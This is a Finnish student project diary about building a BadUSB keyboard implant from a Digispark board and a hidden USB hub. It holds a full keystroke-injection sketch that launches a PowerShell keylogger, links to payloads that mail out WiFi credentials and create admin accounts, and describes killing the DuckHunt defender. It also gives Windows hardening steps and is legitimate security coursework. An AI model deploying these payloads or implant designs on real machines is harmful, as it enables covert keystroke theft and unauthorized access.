DigiNut

BAD USB projekti

Projektiryhmä


Janne Mustonen
WordPress
Linkedin
Arttu Nurmela Projektipäällikkö
WordPress
Linkedin
Marko Nurmola
WordPress
Linkedin
Samu Lindroos
WordPress
Linkedin

Projektin ohjaaja
Tero Karvinen
https://terokarvinen.com/

Youtube
https://www.youtube.com/channel/UCuPpmDjAfynYZvbR-NSwjgA

Esittely

Projektimme tarkoitus olisi valmistaa BAD USB laite, jotka saamme liitettyä usb porttiin ja sen kautta hyökätä tietokoneelle useilla erilaisilla tavoilla. Pääasia olisi saada BAD USB ujutettua näppäimistön ja tietokoneen väliin ja ajaa payloadit ja hyökkäykset koneelle. Käytämme projektissamme digispark usb tikkuja, joista lähdemme muokkaamaan BAD USB tikkuja.

Digispark
prototyyppi Diginutista
Uusi prototyyppi

17.2.2021

Perehtyminen digisparkkiin

Etsiessä tietoa USB-laitteista ilmeni, että näppäimistöjen USB-piuhan sisältä löytyy neljä piuhaa.
Piuhat ovat USB+ ja USB-, 5V-virta ja GND eli ground piuha. Digisparkissa löytyy samaiset liittimet, jotka meidän tarkoituksena olisi juottaa kiinni suoraan digisparkkiin.
Ohessa kuva https://www.electronics-lab.com/wp-content/uploads/2018/04/Digispark-Pinout.png, josta pyrimme ottamaan mallia juotoksiin.

Digispark liitännät

Digispark ohjelmointi

Kuinka Digisparkista saa BadUSB:n?

Aloitimme lataamalla ja asentamalla Arduino IDE:n tästä linkistä https://www.arduino.cc/en/software
Asennuksen jälkeen avattiin Arduino IDE ja File > Preferences ja lisättiin allaoleva linkki Additional Board Manager URLs kohtaan. Linkki: http://digistump.com/package_digistump_index.json

Lisäsimme tämän linkin sen vuoksi että Arduino IDE pystyy hakemaan Digisparkin valmistajan paketit ja lisäosat joita voimme tarvita.

Tämän jälkeen voimme käydä lataamassa Digistump AVR Boardsin. Voimme suunnata Tools > Board > Board Manager, josta etsitään Digispark ja asennetaan ainoa löytynyt tulos.

Boards Manager

Tämän jälkeen valitaan oikea Boardi käyttöön, joka tehtiin Tools > Board >
Digistump AVR Boards > Digispark (Default – 16.5mhz)

Tämän jälkeen asennetaan sopivat ajurit jotka löytyivät Digistumpin GitHubista https://github.com/digistump/DigistumpArduino/releases
Kun oltiin saatu ajurit asennettua avattiin Device Manager ja laitetaan Digispark koneeseen kiinni. Suraavaksi etsitään Digispark listalta ja klikataan hiiren oikealla näppäimellä sitä ja valitaan Update driver software > Browse my computer for driver software varmistaakseen, että ajurit ovat oikeat ja ajantasalla.
Sitten etsitään unzipattu kansio ja valitaan se, tässä on myös tärkeää valita Include Subfolders.

Bootloader

21.2.2021

Ensimmäinen vaihe olisi siis saada tikku valmiuteen, että kun se liitetään niin tikku avaa automaattisesti notepadin ja kirjoittaa sinne tekstin ”hello world”

Ducky script tulisi näyttämään tältä.

DELAY 1000
GUI r
DELAY 200
STRING notepad
ENTER
DELAY 300
STRING hello world

Ongelmana on kuitenkin, että miellä ei ole aitoa rubber duckya käytössä, joten joudumme muuttamaan ducky scriptin Arduinolle sopivaan muotoon.

Muutettu ducky scriptistä –> Arduinolle sopivaksi koodiksi (Ei toiminut)

#include <Keyboard.h> 
/*
* Developer @root_haxor !
 */
// Init function
void setup()
{
// Begining the stream
Keyboard.begin();
// Waiting 500ms for init
 delay(500);
delay(1000);
Keyboard.press(KEY_LEFT_GUI);
Keyboard.press(114);
Keyboard.releaseAll();
delay(200);
Keyboard.print("notepad");
typeKey(KEY_RETURN);
delay(300);
Keyboard.print("hello world");
}
void typeKey(int key)
{
Keyboard.press(key);
delay(50);
 Keyboard.release(key);
}
// Unused
void loop() {}

Yrittäessä ajaa arduinolle koodia, arduino heittää Erroria ja valittaa puuttuvasta kirjastosta.

Error

Lähdimme selvittämään asiaa ja katsomaan onko kyse, että kirjastot on tallennettu väärään paikkaan. Pähkäilyjen jälkeen päätimme kokeilla uudelleen asennusta ja aloittaa homma uudelleen.

DIGISPARK UUDELLEEN ASENNUS

Käytimme ohjeena digistumpin läpikävelyä https://digistump.com/wiki/digispark/tutorials/connecting ja saimme niin sanotun ”hello worldin” toimimaan, kun teimme blinkin Led ohjelmoinnin Digisparkille. 

Blink

Ohjelmoinnin tarkoituksena oli saada Digisparkin sisäiset ledit vilkkumaan ja muutimme niiden Delay aikaa, jolloin huomasimme koodin toimivan oikein. 

Hello World Notepad

Tämän jälkeen päätimme lähteä kokeilemaan itse varsinaista ”Hello World” koodia, jonka tarkoitus olisi avata notepad ja kirjoittaa sinne tekstiä, kun digispark liitetään USB porttiin. Saimme koodin toimimaan, mutta ongelmaksi syntyi, että ohjelma käyttää vääriä näppäimiä eikä avaa Windowsin RUN työkalua, vaan kirjoittaa suoraan tekstiä.

Hello world koodi.

#include "DigiKeyboard.h"
void setup() {}
void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(MOD_GUI_LEFT,KEY_R); <-- Ongelma
DigiKeyboard.delay(5000);
DigiKeyboard.print("notepad.exe");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(300);
DigiKeyboard.print("hello world");
}

Lyhyen googlailun jälkeen tajusimme, että koodi on suunnattu US keyboardille, joten sillä on ongelmia löytää sopivia näppäimiä suomalaiselle näppäimistölle. Lyhyen Googlailun jälkeen löysimme osviittaa sivulta https://digistump.com/board/index.php?topic=2570.0 mitä meidän pitäisi lähteä korjaamaan koodista ja päädyimme vaihtamaan koodia toisin päin.

Toimiva koodi

#include "DigiKeyboard.h" 
void setup() {


void loop() { 
DigiKeyboard.sendKeyStroke(0); 
DigiKeyboard.delay(1000); 
DigiKeyboard.sendKeyStroke(0); 
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);  <-- Muutettu
DigiKeyboard.delay(2000); DigiKeyboard.print("notepad"); DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(300); 
DigiKeyboard.print("hello world"); }

Tämän jälkeen näppäimistö tajusi ja saimme Windowsin ”Run” komennon auki, josta saimme auki notepadin.

Hello world- testaus

25.2.2021

Olimme maanantain kokouksessa päättäneet, että keskitymme tänään 25.2.2021 Uuden digisparkin asennukseen, johon olisi tarkoitus asentaa toimiva hyökkäys ja kokeilemme puolustus tekniikoita mm. Duckhunt nimistä ohjelmaa, jonka pitäisi tunnistaa ja estää digisparkin käytön.

Aloitamme työn käyttämmällä valmiiksi kirjoitettua keyloggeria, joka löytyy githubista. Ongelmakis muodostuu kuitenkin se, että windows defender tunnistaa tämän ohjelman. Tarkoituksena olisi kokeilla ohjelmaa miten defender reagoi siihen ja mahdollisesti yrittää kirjoittaa scriptiä uudelleen niin, että saisimme ohitettua defenderin.

Laitoimme defenderin ja muut virustorjunnat testikoneelta pois päältä, jotta voimme kokeilla scriptiämme. Keylogger scripti tuli näyttämään tältä

Keylogger script (ei toiminut oikein)

#include "DigiKeyboard.h"
void setup() {
  // Tyhjä
}
void loop() {
// Powershell auki

DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
DigiKeyboard.delay(5000);
DigiKeyboard.print("powershell");
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);

// Keylogger kirjoitus

DigiKeyboard.print(F("$code = {function My-Keypresses($Path=\"$env:temp\\mykeypress.txt\") \n{\n  $signatures = @\'\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto, ExactSpelling=true)] \npublic static extern short GetAsyncKeyState(int virtualKeyCode); \n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int GetKeyboardState(byte[] keystate);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int MapVirtualKey(uint uCode, int uMapType);\n[DllImport(\"user32.dll\", CharSet=CharSet.Auto)]\npublic static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);\n\'@\n\n  $API = Add-Type -MemberDefinition $signatures -Name \'Win32\' -Namespace API -PassThru\n    \n  $null = New-Item -Path $Path -ItemType File -Force\n\n  try\n  {\n\n    while ($true) {\n      Start-Sleep -Milliseconds 40\n      \n      for ($ascii = 9; $ascii -le 254; $ascii++) {\n        $state = $API::GetAsyncKeyState($ascii)\n\n        if ($state -eq -32767) {\n          $null = [console]::CapsLock\n\n          $virtualKey = $API::MapVirtualKey($ascii, 3)\n\n          $kbstate = New-Object Byte[] 256\n          $checkkbstate = $API::GetKeyboardState($kbstate)\n\n          $mychar = New-Object -TypeName System.Text.StringBuilder\n\n          $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)\n\n          if ($success) \n          {\n           [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode) \n          }\n        }\n      }\n    }\n  }\n  finally\n  {\n  }\n}}; $timeoutSeconds = 10; $j = Start-Job -ScriptBlock $code; if (Wait-Job $j -Timeout $timeoutSeconds) { Receive-Job $j }; Remove-Job -force $j"));

DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /*empty*/ }

Tikulta pystyimme ajamaan scriptin powershelliin, mutta scripti ei toiminut toivotulla tavalla eikä kyseistä keylogger.txt tiedostoa tullut /tmp kansioon niin kuin scriptissä pitäisi lukee.

Testasimme powershell scriptin manuaalisesti, josta se antoi virheen (absolute path puuttuu?)

Powershell ajo meni läpi
Powershell testikoneella

3.3.2021

Ajoimme powershell keyloggerin digisparkkiin ja testasimme sitä testikoneelle, powershell menee läpi ilman virheitä mutta tämän jälkeen mitään ei tapahtunut, /temp/ kansioon mitäisi tulla mykeypress.txt tiedosto mutta tätä ei löytynyt. Etsimme myös koneen kaikki .txt tiedostot sitlä varalta että se on mennyt johonkin toiseen kansioon käyttämällä hakusanaa *.txt. Pyysimme ystäväämme käymään myös läpi powershellin jos siitä löytyisi virhettä mutta hän ei siitä mitään löytänyt. Testasimme myös luoda skriptistä .PS1 tiedoston jonka ajoimme powershellissä komennolla ./script.PS1 ja tämä menee läpi, mutta mitään ei vieläkään tapahtunut.

Tutkimme skriptin luojan GitHubia ja siellä on n. vuosi sitten joku muukin on sanonut samaa, skripti menee läpi mutta mitään ei tapahdu. Vastauksena oli tullut että hän tutkii asiaa, mutta voi olla ettei ongelmaan ole keksitty ratkaisua.
Skriptissä kyllä luki että Windows Defender tunnistaa tämän, ja olimme mielestämme sulkeneet Defenderin mutta ongelmaksi tuli se että Defender ei saa ladattua päivityksiä ja tämän vuoksi emme voi sitä varmasti sulkea. Latasimme Avastin testikoneelle että se vaihtaisi Defenderin pois käytöstä ja käyttäisi pelkästään Avastia. Avastin suljimme kokonaan mutta tulokset pysyivät samana. Yritimme käyttää myös toista Keyloggeria, mutta siinä oli sama ongelma. Mietimme käyttöjärjestelmän päivittämistä Win 10 jotta saisimme kaikki uusimmat päivitykset jolloin Defender olisi myös helpompi sulkea. Emme siis saaneet powershell keyloggeria toimimaan ja tätä tulee tutkia tarkemmin.

9.3.2021

Päätimme edellisen viikon Powershell pettymyksen jälkeen yrittää saada projektia toisesta suunnasta eteenpäin ja halusimme saada ns valmiin laitteen ilman vihamielisiä hyökkäksiä. Eli tarkoitus oli juottaa Digispark kiinni female breakout boardiin johon saisimme näppäimistön kiinni USB:lla. Valmis tuote olisi siis näppäimistö joka olisi yhteydessä breakout boardiin joka olisi taas juotettu digisparkkiin. Kun juottoryhmämme oli saanut oman työnsä valmiiksi, oli Jannen ja Markon vuoro tarkistaa digisparkin toimivuus.

Aloitimme testaamalla ettei digispark ole mennyt rikki ja teimme blink-testin jossa digisparkin valot vilkkuvat tietyn ajan verran. Testi meni läpi, jolloin olimme varmoja ettei se ole kärähtänyt tai vahingoittunut juottoprosessissa. Seuraavaksi koitimme saada näppäimistön toimimaan digisparkin “läpi”, jolloin digispark ja breakoutboard toimisivat vain jatkopalana, mutta tässä kohtasimme ongelmia. Vastaavaa projektia ei ole tehty samoilla tarvikkeilla joita käytämme ja kävimme läpi erilaisia kirjastoja sekä koodinpätkiä jotka voisivat toimia, mutta jäimme tyhjin käsin.
Kysyimme redditistä apua (/r/Arduino kanavalta jäseniä n. 300 000), jos joku osaisi edes ohjata meitä oikeaan suuntaan, vastauksia tuli n. 40 päivän aikana. Suurin osa oli sitä mieltä, että digispark ei kykene hoitamaan työtä USB-hostina ja välikappaleena, muistin ja tehojen osalta. Vastaukset loivat meille pelkoa projektin etenemisen kannalta ja projektista tulee keskustella ohjaajan kanssa. Tarkoitus on vielä kysyä facebookissa Arduino Finland ryhmästä, jos joltain löytyy ideoita tai vaihtoehtoja koodin suhteen.
Eräs vinkki oli että kääntäisimme katseemme KeyPressed komentoihin, ja tätä yritimme, vastaukseksi tuli iso kasa virheilmoituksia.

Ensimmäinen koodi, jota kokeilimme oli tämännäköinen ja se löytyi Arduinon sivulta ja oli niinsanottu esimerkki koodi

include <KeyboardController.h>

// Initialize USB Controller
USBHost usb;

// Attach Keyboard controller to USB
KeyboardController keyboard(usb);

void setup(){
Serial.begin(9600);
}

void loop(){
usb.Task();
}

void keyPressed() {
Serial.print("Pressed: ");
Serial.print(keyboard.getKey());
Serial.println();

Mutta koodin ajettua tuli iso lista erroria.

8.4.2021

Jaoimme ryhmän kahtia täksi päiväksi, ja meidän ryhmästämme Janne keskittyi etsimään tietoa ja tutkimaan koodia mitä tulisimme mahdollisesti käyttämään ja minä (Marko) taas keskityin siihen miten pystyisimme mahdollisesti hardware-tasolla käyttämään keyloggeria, alkuperäisen, jo epäonnistuneen suunnitelman mukaisesti.

Arttu optimoi, päivittää sekä asentelee tarvittavia työ- kaluja testikoneelle sekä etsii ohessa tietoa suojautumisesta haittaohjelmia vastaan. Samu etsii tietoa, kuinka windowsin omia asetuksia sekä ohjelmia voi käyttää hyökkäyksiä vastaan.

Useampi diy-keylogger oli tehty ps/2-liitännällä, joka on vanha ja vaikkakin löytyy vielä useasta emolevystä, ei ne ole välttämättä kuitenkaan käytössä.
Löysin kaksi myyjää jotka ovat tehneet hardware keyloggerin, toinen puolasta ja toinen jenkeistä. Näiden myynti halvalla (Pelkkä normaali Puolassa valmistettu hardware keylogger maksaisi postituksineen ~15€) kertoo sen että itse tälläisen rakentaminen tulisi olla mahdollista.
Varsinkin puolalaisen sivun hinnat olivat erittäin halpoja ja tämän vuoksi epäilyksemme heräsi

Tutkiessani mahdollisia tapoja tämän tekemiseen päädyin lukemaan PS/2 keyloggerista ja siellä sanottiin suoraan että “USB HID protocol is much more difficult than PS/2 protocol.”
Jatkoin kuitenkin DIY-ratkaisun etsimistä ja lähin DIY-ratkaisu minkä löysin, oli puolalaisen yrityksen sivuilta valmis keygrabber moduuli joka voidaan juottaa näppäimistön sisään, eli juurikin sellaista mitä etsimmä, hintakin oli vain 16€ + kuljetusmaksut, mutta koska sivusta ei löytynyt lähes mitään tietoa, emme lähteneet sokeasti siihen luottamaan, emmekä suosittele sieltä tilaamaan ellei halua mahdollisesti menettää rahojaan.
Laitoimme kuitenkin testaukseksi sähköpostia heidän ilmoittamaan osoitteeseen ja katsomme tuleeko sieltä minkäänlaista vastausta.

Lähdin (Janne) etsimään googlesta uusia ja mahdollisesti toimivia hyökkäyksiä, joita voimme kokeilla omalle testikoneelle. Löysin muutaman mielenkiintoisen hyökkäyksen, joista ensimmäinen olisi sellainen, joka ”varastaa” Wifi ID:n ja salasanan käyttämällä cmd:tä ja powershelliä, jonka jälkeen lähettää .csv tiedoston omaan sähköpostiin.

https://github.com/CedArctic/DigiSpark-Scripts/blob/master/WiFi_Profile_Mailer/Wifi_Profile_Mailer_Update.ino

Toinen mielenkiintoinen hyökkäys, jota olisi mielenkiintoista kokeilla olisi sellainen, joka tekee admin käyttäjän koneelle käyttäen Powershell komentoa. 

https://github.com/Gadotti/DigisparkScripts/blob/master/Create_Account/Create_Account.ino

https://github.com/CedArctic/DigiSpark-Scripts/blob/master/Create_Account/Create_Account.ino

9.4.2021

Päätimme ryhmän kanssa käydä yhdessä läpi valittujen payloadien koodeja, jotta muutkin ryhmän jäsenet ymmärtävät sitä. Valitsimme ensimmäiseksi kyseisen githubin koodin

https://github.com/Gadotti/DigisparkScripts/blob/master/Create_Account/Create_Account.ino , joka luo uuden admin käyttäjän käyttäen cmd:tä. Muutimme koodista salasanat ja käyttäjänimet, mutta ongelmaksi tuli, ettei Windows 10 home käyttöjärjestelmästämme löydy grouppeja ja käyttäjiä erikseen, joten koodi ei sen takia toiminut. Emme kuitenkaan vielä tiedä saammeko sitä jollain keinoin toimimaan, mutta tällä hetkellä näyttää siltä, ettei grouppeja saa lisättyä, koska niitä ei home versiossa ole saatavilla.

Error CMD
Error Users and Groups

Lähdimme katsomaan oliko koodi kuitenkin luonut LocalUsereita ja käytimme Powershell komentoa Get-LocalUser jolla saimme näkyviin kaikki LocalUserit koneellamme. Koodi oli toiminut oikein ja luonut ne sinne, mutta ongelmaksi muodostui edelleen se, että emme saaneet niitä Admin grouppiin lisättyä, koska koneemme on suomeksi ja koodissa oli ilmoitettu Administrator ja meidän koneellamme Admin on nimellä Järjestelmänvalvoja. Lähdimme miettimään tätä, että miten saamme muutettua sen Ä kirjainten takia, koska Digisparkin koodi käyttää US layouttia. 
Kokeilimme manuaalisesti koodia, jossa muutimme ”Administrator” kohdan “Järjestelmänvalvojat” ja koodi meni läpi ilman erroreita, mutta emme silti nähneet Powershellissä, että testi käyttäjämme olisi Järjestelmänvalvojana.

Onnistunut
Powershell käyttäjät

Kirjauduimme ulos pääkäyttäjältä ja kirjautumis ikkunaan oli ilmestynyt TESTUSER käyttäjä, jolla pitäisi olla oikeudet ajaa Admin komentoja koneella.

Koska testikoneemme oli puoliksi suomeksi ja jos halusimme saada digisparkin luomaan käyttäjän joka automaattisesti on admin täytyi meidän saada digispark kirjoittamaan ääkkösiä. Aloitimme ns. finnish layout digisparkin virtuaalinäppäimistölle. Löysimme muutamia mutta niissä etsimisen digisparkiin. Löysimme muutamia mutta niissä ei ollut Ä eikä Ö mukana, vain ainoastaan erikoismerkkien paikat olivat samat kuin suomalaisessa näppäimistössä.

Hetken näitä tutkittuamme, päätimme kokeilla ArminJo kirjastoa Digistumpiin.(https://github.com/ArminJo/DigistumpArduino)
Vaihdoimme File>Preferencesistä alkuperäisen repon hänen repoonsa ja yritimme saada sen toimimaan, emme tässä onnistuneet ja kun Digispark yritti kirjoittaa Ä tai Ö oli vastauksena vain ?.
Päätimme siirtyä yksinkertaisempaan ratkaisuun ja vaihtaa vain Windowsin kielen.
Tämä ei myöskään onnistunut koska kyseessä oli Windows 10 Home Edition jossa ei pysty vaihtamaan järjestelmän kieltä täysin asennuksen jälkeen, eli olisi pitänyt valita kieleksi englanti alunperin kun käyttöjärjestelmää asennettiin. Testikoneen nollaaminenkaan ei enää onnistunut koska se jää jumiin.

Duckhunt

Päivän toisena agendana oli ottaa selvää duckhuntista ja asentaa se, sekä ottaa selvää muista mahdollisista torjuntaohjelmista,
jotka voisivat torjuta tekemämme digispark-hyökkäyksen. DuckHuntin tehtävänä on valvoa näppäimistön ‘kirjoitusnopeutta’. Jos merkkäjä tulee liian monta sekunnissa, Duckhunt torjuu liian nopean kirjoituksen. Linkki DucKHuntille GitHubissa.


Jotta duckhunterin pystyi lataamaan, täytyi ensiksi lataa python, PyWin32, PyHook , Py2Exe ja webbrowser.
Webbrowser oli valmiiksi jo ladatussa pythonissa, joten sitä ei tarvinnut erikseen lataa.
Webbrowserin olemassaolon varmistaminen onnistui laittamalla komennot:
import webbrowser
webbrowser.open(‘http://google.com&#8217;, new=2)

Komennot löytyivät täältä.
Tämä komento avasi uuden välilehden selaimessa.
Tämän jälkeen DuckHuntin suoritus onnistui (GIFissä) ja ilmestyi tietokoneen prosessilistaan.
DuckHunt ei antanut tietoa suorituksen jälkeen mitään ilmoitusta, mutta testasimme sen (videolla).

DuckHunt torjuu kirjoituksen powershellissä.

DuckHunt luo itsestään Login, johon se kirjaa estetyn kirjoituksen (epämääräisen, liian nopeasti kirjoitetun).

DuckHunt log

Testasimme myös miten DuckHuntin voisi ohittaa. Se onnistui yllättävän helposti, sillä teimme DigiSparkkiin ohjelman, joka avaa resurssienhallinnan ja sulkee Duckhuntin prosessipuun. Tämän jälkeen se vielä sulkee resurssienhallinnan ja palaa työpöydälle.
(Video ja kuva koodista tulossa).

duckhuntin sammutus digisparkilla

Windows omien asetuksien säätöä hyökkäyksiä vastaan

Rajoita Command promptin käyttöä

Salasanan laatiminen

Laadi salasana command promptille aina kun sitä yritetään avaa. Command promptin pystyy avaamaan kirjoittamalla ”CMD” run- suorittimeen, jonka jälkeen painetaan Ctrl + Shift + Enter. Nämä painallukset ovat todella helppo koodata BadUSB laitteeseen.

Kirjoita Regedit start menuun ja avaa applikaatio. Seuraa navigaatiota tähän:

ConsentPomptBehaviorAdmin: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Kun löydät ConsentPromptBehaviorAdmin, oikea klikkaa sitä ja valitse Modify.

Vaida value data 1:seen ja paina OK.

Tämän jälkeen aina, kun koneessasi yritetään avata Command Promptia, Windows kysyy sinulta system passwordia. Tämä tällöin torjuu mahdolliset BadUSB hyökkäyset, joihin on koodattu command promptin avaus.

Linkki: https://www.manageengine.com/device-control/badusb.html

Estä Command Promptin käyttö

Command prompti on todella hyödyllinen hallintatyökalu, harvoilla Windowsin käyttäjillä on loppujen lopuksi käyttöä sille. Sen sijaan, että käyttöjärjestelmien käyttö estettäisiin toimintokohtaisesti, monet haluavat estää pääsyn command promptiin estääkseen käyttäjiä tunkeutumasta järjestelmään.

Tämän toteuttamiseen sinulla täytyy olla järjestelmänvalvojan oikeudet.

Paina Start-> Run ja kirjoita gpedit.msc ja paina OK

Local Group Policy osiosta avaa kansio User Configuration-> Administrative Templates-> System

Etsi oikealta puolelta Prevent Access to the Command Prompt ja tuplaklikkaa sitä

Automaattisesti tämän pitäisi olla valmiiksi Not Configured, joten paina Enabled ja OK

Nyt kaikilla PC:n käyttäjillä sekä mahdollisilla BadUSB hyökkäyksiötä on estetty pääsy command promptiin.

Linkki: https://helpdeskgeek.com/how-to/disable-command-prompt-in-windows/

USBguard-palvelu

USBguard-palvelu on USB-massamuisteihin liittyvien tietoturvauhkien torjumiseen suunniteltu laite. Laite on tabletti, jolla voi testata USB-tikkujen sisällön ja estää mahdollisen BadUSB hyökkäyksen. Laitteeseen on integroitu selkeät käyttöohjeet. Laite sisältää Linux-käyttöjärjestelmän ja virustorjuntasovelluksen. Laitteen avulla tuntemattomilta usb-tikuilta voi kopioida tiedostoja omalle tikulle.

Linkki: https://www.fitsec.com/home.html

USBguard

Rautatyöt

Testikoneen asennus

21.2 klo 14 Testikoneen windowsin uudelleen asennus ja koneen tyhjennys tehty.
Koska käyttöjärjestelmä ja tietokone on kohtuullisen vanha, uudelleen asennus kesti
yllättävän kauan (perinteinen HDD).
Vaiheet järjestelmän palauttamiseen.

  1. Tehtävienhallinta (control panel)
  2. järjestelmä ja turvallisuus (system and security)
  3. Palauta järjestelmä aiempaan tilaan ( sieltä lisäasetuksista tehdasasetuksiin)
  4. Kone käynnistyy uudelleen tehdastilassa (mm. resoluutio sekaisin)
  5. Acerin oma palautusohjelma hyppää esille ja antaa vaihtoehdoksi Täyspalautus järjestelmälle
  6. Ohjelma aloitti palautuksen (Palautus kesti 15min, jonka jälkeen kone käynnistyi uudestaan)
  7. Asennusohjelma jatkaa toimintaa
  8. Windows valmistelee ensimmäistä käyttökertaa
  9. Asentaa ohjelmistoja

Asennus valmistui klo 15:30 ja uudella nimellä Diginut (Projektin nimen mukaan).
Testikoneen kieli vaihdettu Suomalaisesta Yhdysvaltain asetteluun, koska toimii paremmin
digisparkin kanssa.

Acerin palautusohjelma

25.2.2021
Windowsin asetuksia muutettu siten, että järjestelmän valvojana suoritetut toimet vaativat salasanan. (Tämä myöhempää Hyökkäyksen estoa varten) Linkki ohjeisiin.
Myöhempää puolustautumista varten etsimme ohjeita, joiden avulla pystyy vaatimaan salasanan ennen powershell suoritusta.


Näppäimistön purku ja tutkiminen

Päivämäärä 21.2.2021
Klo 14:04

Saavuttiin lähitapaamiseen, jossa tavoitteena oli ottaa esille testinäppäimistöt, avata ne auki ja tarkistaa millainen piirilevy on näppäimistössä sisällä.

Näppäimistön merkki ja malli: HP Basic USB Keyboard

Haluttiin katsoa näppäimistön sisälle piirilevyyn, johon mahdollisesti voidaan digispark liittää usb:n sisäisillä piuhoilla.
Näppäimistön avauksessa otettiin 22 ruuvia irti. Huomattiin heti avauksen jälkeen, että näppäimistön piirilevy on todella pieni, joten
tilaa digisparkin liittämiseen oli erittäin vähän.

takakotelo auki
piirilevy paikoillaan
piirilevyn sisäpuoli

Päätettiin, että leikataan näppäimistön usb-liitin irti ja kuoritaan piuhan muovi irti niin, että piuhan neljä sisäistä eri väristä piuhaa jäävät näkyville.


Nämä neljä piuhaa tulisi yrittää liittää digisparkkiin mahdollisesti juottamalla.

Näppäimistön usb-johto

Ylläolevassa kuvassa samat johdot.

Lopuksi laitettiin näppäimistö takaisin ruuveilla paikoilleen ja näppäimistö toimi moitteettomasti vieläkin.

Juottotyöt

Koulun labrassa

Käytettiin labran vanhoja arduinon piuhoja juottamiseen. Väännettiin juotettavat piuhat 90 asteen kulmaan, jotta ne olisi helpompi juottaa digisparkkiin ja usb female breakouttiin. Kaksi piuhaa juotettiin vahingossa yhteen, joten ne täytyi tehdä uudestaan. Juottamisen jälkeen kokeiltiin, toimiiko digisparkki juotoksineen tietokoneessa. Digisparkkiin tulee virta, mutta usb female breakout osa ei saa yhteyttä vielä.

Alla olevassa kuvassa näkyy kokeillut liitokset.

Teimme liitokset seuraavasti:

D+ -> P0 punainen piuha

D- -> P1 valkoinen piuha

GND -> GND musta piuha

VCC/VBUS -> 5V vihreä piuha

Vasemman puoliset ovat femalen päässä ja oikean puoliset ovat digisparkin päässä.

https://digistump.com/board/index.php?topic=2760.0
juotostöitä labrassa (Haaga-Helia)

21.04. Hardware Keyloggaus

Viime kerralla keskityimme Jannen kanssa etsimään tietoa hardware keyloggauksesta ja löysimme mielenkiintoisen githubin (https://github.com/joelsernamoreno/EvilCrow-Keylogger), tämä on lähinnä mitä pääsimme itse rakennettavaan hardware keyloggeriin, ja tämäkin oli monimutkainen prosessi.

Tänään kävimme PartCo-nimisessä myymälässä etsimässä osia mitä tarvitsisimme tämän luomiseen mutta hardware keyloggaus joutuu ikävä kyllä jäämään unholaan tämän projektin osalta ainakin kurssin ajaksi. Osien ostaminen ja saaminen tulisi ongelmaksi sekä meiltä loppuu aika ja rahat projektiin.

Aiomme kesällä jatkaa tätä projektia henkilökohtaisen kiinnostuksen vuoksi, kesällä tulee enemmän rahaa sekä on aikaa keskittyä ilman aikataulupaineita.

USB-hub

Teron tapaamisessa kävimme keskustelua, kuinka projekti jatkuisi ongelmiemme jälkeen. Muutimme suunnitelmaa ja päätimme ottaa käyttöön USB-hubin.

Perjantaina 12.3 Pidimme lähitapaamisen, jonka tarkoitus oli hakea
usb-hubi Tori.fi:stä löydetyltä myyjältä. Haimme osan, joka maksoi 4€.
Sen jälkeen kävimme vielä Motonet-myymälässä katsomassa, olisiko siellä
myynnissä meidän käyttöön soveltuvia Hubeja.

USB-hubin asennus.
Avasimme Hubin ja summittelimme kuinka se mahtuisi näppäimistön sisään siten, että kaikki
piuhat ja muut oheislaitteet olisivat myös näppäimistön kuorien sisällä.
Näppäimistön sisällä oli paljon ‘täytemuovia’, joita leikkelimme irti pihdeillä.
Kun näppäimistön sisältöön oli tehty tilaa, kokeilimme luonnostella miltä se näyttäisi.

Tulevaa:
USB-hubin portit ovat suoraan ylöspäin, joten niitä pitää muokata. Otamme irti liittimet kuumenta-
malla kolvilla liitäntöjä. Sen jälkeen vedämme piuhat USB-liititen tilalle ja asennamme kiinni
female-breakout osat, jotta saamme puuttuvat USB-portit. Tarvitsemme tehtävään juottotarvikkeita,
joten seuraavalla viikolla työt jatkuvat koulun labrassa.

Testasimme USB-hubin digisparkin ja näppäimistön kanssa ja molemmat laitteet toimivat kuten pitikin
Eli tehtävänä onkin piilottaa USB-hub ja digispark oheistuotteineen näppäimistön sisään.

Konsepti

Yllä olevassa kuvassa on tekemämme konsepti, jota lähdemme työstämään eteenpäin. Näppäimistön oma piuha kulkee hubin kautta ja digispark tulee myös hubiin kiinni ja itse USB Hub tulee koneeseen kiinni.

17.3.2021

Päätimme lähteä Haaga-Helian 3D labraan tekemään juotostöitä ja kokoamaan näppäimistöä kasaan, jonne on piilotettu USB hubi ja digispark.

Aloitimme purkamalla testinäppäimistön ja muokkaamalla näppäimistön sisustaa, jotta saamme HUBin näppäimistöön piilotettua. 

Tämän jälkeen purimme toimivan näppäimistön, josta otimme piirilevyn ja siirsimme sen meidän muokattuun näppäimistökoteloomme. Ongelmaksi kuitenkin muodostui näppäimistön piuha, joka oli aivan liian pitkä piilottaaksemme sen kokonaan näppäimistön sisään. Päätimme siis leikata ja lyhentää piuhaa ja juottaa johdot uudelleen kiinni. Juotosten jälkeen laitoimme jokaiselle piuhalle oman kutistesukan ja vielä kaikkien juotosten päälle isomman kutistesukan, jotta piuhat ovat suojassa.

Tämän jälkeen pääsimme kokeilemaan näppäimistön toimivuutta ja saimme näppäimistön toimimaan hubin kautta. Jouduimme kuitenkin muokkaamaan näppäimistön pohjaa paljon, jotta kaikki tavarat saatiin mahtumaan.

